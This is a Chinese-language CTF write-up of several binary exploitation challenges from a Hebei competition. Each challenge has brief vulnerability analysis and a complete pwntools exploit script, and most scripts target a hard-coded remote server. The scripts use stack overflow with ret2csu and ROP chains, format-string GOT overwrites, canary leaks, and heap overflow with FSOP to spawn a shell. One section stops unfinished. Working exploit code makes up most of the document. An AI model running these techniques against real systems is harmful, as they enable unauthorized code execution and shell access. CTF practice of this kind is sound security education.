河北赛复现(11.2)

Easy_pwn

程序分析

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding: utf-8 -*-

import sys
import os
import os.path
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context(os = "linux", arch = "i386",log_level="debug")
'''
rdi,rsi,rdx,rcx,r8和r9
'''


p = remote('39.107.93.53', 10002)
elf = ELF('./pwn')
libc = elf.libc



csu_front_addr = 0x00000000004007b0
csu_end_addr = 0x00000000004007ca
fakeebp = 'b' * 8

def csue(rbx,rbp,r12,r13,r14,r15):
payload = p64(csu_end_addr)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
return payload

def csuf(rbx,rbp,r12,r13,r14,r15,ret2):
'''
参数1(edi) --- r15d
参数2 rsi --- r14
参数3rdx --- r13

call qword ptr [r12+rbx*8] call的是r12的内容,所以用got表,而不是plt表
cmp rbx+1 rbp; jnz
一般rbx=0,rbp = 1
'''
payload = p64(csu_front_addr)
payload += 'a'*8
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(ret2)
return payload

start_main_addr = 0x4005c0
puts_got = elf.got['puts']
read_got = elf.got['read']
bin_sh = 0x6010a0

padding = 0x50 * 'a'
payload1 = padding
payload1 += fakeebp
# payload1 += p64(start_main_addr)
payload1 += csue(0,1,puts_got,0,0,read_got)
payload1 += csuf(0,0,0,0,0,0,start_main_addr)
log.info('payload_len: '+hex(len(payload1)))
#gdb.attach(proc.pidof(p)[0])

p.sendlineafter('Leave your name: ','/bin/sh\x00')
p.sendlineafter('Now play your game: \n',payload1)

read_addr = p.recv(6)
read_addr = u64(read_addr + '\x00\x00')
log.success("puts_addr:" + hex(read_addr))
# puts 0x7f6626915690
# read_addr:0x7f88edeff250
#system_addr = read_addr - 0x00000000000f7250 + 0x0000000000045390
system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']

payload2 = padding +fakeebp
payload2 += csue(0,1,bin_sh,0,0,bin_sh + 8)
payload2 += csuf(0,0,0,0,0,0,start_main_addr)

p.sendlineafter('Leave your name: ',p64(system_addr)+'/bin/sh\x00')
p.sendlineafter('Now play your game: \n',payload2)

p.interactive()

middle_pwn

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

测试了一下,发现是栈类型的题 o((⊙﹏⊙))o

ida这里会识别错误,需要看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000040070E loc_40070E:                             ; CODE XREF: main+4C↓j
.text:000000000040070E mov edi, offset s ; "Input: "
.text:0000000000400713 call _puts
.text:0000000000400718 lea rax, [rbp+buf]
.text:000000000040071F mov edx, 400h ; nbytes
.text:0000000000400724 mov rsi, rax ; buf
.text:0000000000400727 mov edi, 0 ; fd
.text:000000000040072C call _read
.text:0000000000400731 lea rax, [rbp+buf]
.text:0000000000400738 mov rdi, rax ; format
.text:000000000040073B mov eax, 0
.text:0000000000400740 call _printf
.text:0000000000400745 jmp short loc_40070E
.text:0000000000400745 ; } // starts at 4006F9

这里printf函数存在格式化字符串漏洞
这个程序是64位,先有六个寄存器(rdi,rsi,rdx,rcx,r8,r9)传参再由栈传参\

漏洞利用

需要先从服务器泄露libc基址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#context.log_level = 'debug'
#p = process('pwn')
p = remote('39.107.93.53',10004)
elf = ELF('pwn')
libc = elf.libc
p.recv()
payload = '%8$saaa'.ljust(16,'a')
payload += p64(elf.got['puts'])
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base+libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
low = sys_addr&0xffff
print hex(low)
high = (sys_addr>>16)&0xffff
print hex(high)
target = sys_addr>>16
print hex(target)
payload = '%'+str(low)+'x%10$hn'
payload += '%'+str(high-low)+'x%11$hn'
payload = payload.ljust(32,'a')
payload += p64(elf.got['printf'])
payload += p64(elf.got['printf']+2)
p.recv()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()

hard_pwn

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
+++PlayPlay+++
1. add
2. edit
3. delete
4. show

功能基本齐全,edit函数存在溢出,可以溢出到下一个chunk,对size没有严格限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int edit()
{
signed int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

printf("index: ");
v1 = read_size();
if ( v1 < 0 || v1 > 15 )
return puts("out of range");
if ( !*(&dreamitem + 4 * v1) )
return puts("wrong index!");
printf("size: ");
v2 = read_size();
if ( v2 <= 0 || v2 > 1104 )
return puts("Size too long.");
printf("content:");
return read_content(qword_202088[2 * v1], v2);
}

注意一下在add函数里面有个calloc函数,ida识别错了,函数原型参考网上应该是

1
calloc调用形式为(类型*)calloc(n,size)

ida把n和size位置搞反了,calloc会初始化申请到的空间!!!

附:malloc和calloc函数的区别 https://blog.csdn.net/qq_35608277/article/details/79467539

漏洞利用

开启了pie,说明题目不太好做(针对我这种菜鸡)

第一步先泄露libc,这里用的puts函数,填满chunk就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level = 'debug'
p =process('./pwn')
#p = remote('39.107.93.53',10003)
elf = ELF('pwn')
libc = elf.libc
def add(size):
p.recvuntil(': ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
def edit(idx,size,content):
p.recvuntil(': ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(str(content))
def delete(idx):
p.recvuntil(': ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
def show(idx):
p.recvuntil(': ')
p.sendline('4')
p.recvuntil('index: ')
p.sendline(str(idx))
add(0x90)#0
add(0xf8)#1
add(0x90)#2
add(0x90)#3
delete(0)
edit(1,0x100,'a'*0xf0+p64(0x1a0)+p64(0xa0))
delete(2)
add(0x90)#0
show(1)
libc_base = u64(p.recv(0x12)[0xc:0x12].ljust(8,'\x00')) - 0x3c4b20 -88
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
log.success('libc_base: '+hex(libc_base))
log.success('_IO_list_all: '+hex(_IO_list_all))


fake_file=p64(0)+p64(0x61)
edit(0,0xa0,'a'*0x90+fake_file)

fake_file=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(1)+p64(2)
fake_file+=p64(0)+p64(libc_base+0x18cd57)
fake_file=fake_file.ljust(0xc8,"\x00")
fake_file+=p64(libc_base+0x3c37a0-8)
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.symbols['system'])
edit(1,0x100,fake_file)
gdb.attach(p)
add(0xf8)#1

p.interactive()

pwn_disco

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Aaron kwok want't to eat your rainbow!\nPlease give me a rainbow index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 1 )
exit(0);
free(rainbow[v1]);
puts("Now you lose a rainbow!");
return __readfsqword(0x28u) ^ v2;
}

存在格式化字符串漏洞和uaf漏洞,但是函数没有show功能,这里需要用到IO_file方法

#

stac_pwn

获取栈溢出的偏移24,泄露远程libc版本,ROPgadget获取一些必要的gadget,计算出system的偏移,找到/bin/sh,getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#context.log_level="debug"
#p = process('./stackpwn')
p = remote('39.107.93.53',10006)
elf = ELF('./stackpwn')
libc = elf.libc
pop_rdi_ret = 0x400933
p.recvuntil('instructions...\n')
p.sendline('a'*0x18+p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4007E7))
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
p.sendline('a'*0x18+p64(pop_rdi_ret)+p64(0x400954)+p64(sys_addr))
p.interactive()

stack_pwn2

格式化字符串泄露canary就行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level="debug"
#p = process('./stackpwn2')
p = remote('39.107.93.53',10007)
elf = ELF('stackpwn2')
libc = elf.libc
p.recvuntil('system...\n')
p.sendline('%9$p')

canary = int(p.recv()[0:18],16)
log.success('canary: '+hex(canary))
p.sendline('a'*24+p64(canary)+'a'*8+p64(0x4009c3)+p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4008A2))
p.recv()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc.search("/bin/sh\x00").next() + libc_base
log.success('puts_addr: '+hex(puts_addr))
log.success('libc_base: '+hex(libc_base))
log.success('sys_addr: '+hex(sys_addr))
log.success('bin_addr: '+hex(bin_addr))

p.sendline('a'*24+p64(canary)+'a'*8+p64(0x4009c3)+p64(bin_addr) +p64(sys_addr))

p.interactive()

窝窝头

exp:

1
2
3
4
from pwn import *
p=remote('39.107.93.53',10009)
p.sendline('a'*(0x70-0xc)+p32(4))
p.interactive()

一起van

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
from pwn import *
context.log_level="debug"
#p = process('./pwn')
p = remote('39.107.93.53',10008)
elf = ELF('pwn')
libc = elf.libc
p.recvuntil('name:')
p.sendline('%14$p %17$p %19$p')
p.recvuntil('message:')
p.sendline('aaa')
addr = p.recv()
main_off = int(addr[:12],16) - 0xb70
canary = int(addr[13:31],16)
libc_base = int(addr[32:46],16) - libc.symbols['__libc_start_main'] - 240
log.success('main_off: '+hex(main_off))
log.success('canary: '+hex(canary))
log.success('libc_base: '+hex(libc_base))
p.recv()
p.sendline('yes\n\x00'+'a'*19+p64(canary)+'a'*8+p64(0xbd3 + main_off)+p64(libc.search('/bin/sh\x00').next()+libc_base)+p64(libc_base+libc.symbols['system']))
#gdb.attach(p)

p.interactive()